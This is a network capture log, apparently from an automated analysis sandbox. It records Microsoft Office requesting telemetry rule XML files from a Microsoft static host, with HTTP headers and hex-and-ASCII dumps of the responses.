2025-04-02 06:39:20 UTC	199	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 29bfb893-301e-0096-2599-a3e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bqnwr7hC1EWRa66000000014vg00000000ggnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.17	49804	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	199	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26eb126c-701e-0032-4599-a3a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bsm7zrhC1EWR8efs0000000hr000000000eyyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.17	49805	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	199	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c5e94fd8-501e-0016-2499-a3181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449b6sxz8hC1EWRrtxw00000014x000000000chek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.17	49806	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	199	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d55ea7b7-401e-000a-1099-a34a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449blr9xfhC1EWR6mgs0000001510000000001rm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.17	49807	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	199	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4e075d5e-701e-0097-5199-a3b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bqnwr7hC1EWRa66000000014y000000000a5r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.17	49809	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	200	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: fcc1b6f8-701e-003e-2199-a379b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bq6f54hC1EWRb85w00000014yg0000000085uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.17	49810	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	199	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 5b939c27-101e-0065-1899-a34088000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bqnwr7hC1EWRa6600000001510000000001umg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.17	49811	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	200	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:21 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 57d8d880-901e-00a0-1d99-a36a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bkr6n6hC1EWRx10800000003p0000000009s8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:21 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.17	49808	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	199	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:22 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 9ee95703-701e-0001-2599-a3b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bgvc9thC1EWR7dt000000014xg00000000ba1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:22 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.17	49812	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:21 UTC	199	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:22 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:21 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 34fb1f8c-101e-005a-5099-a3882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063921Z-17cccd5449bvj9xqhC1EWRh59s000000151g000000000mcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:22 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.17	49813	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:22 UTC	200	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:22 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:22 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: c618d5cc-c01e-0014-5f99-a3a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063922Z-17cccd5449b4tm5chC1EWRr59800000014x000000000cbgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:22 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.17	49814	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:22 UTC	199	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.17	49815	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:22 UTC	199	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:22 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:22 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: f532ae23-a01e-003d-6c99-a398d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063922Z-17cccd5449blr9xfhC1EWR6mgs00000014ug00000000k18h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:22 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI 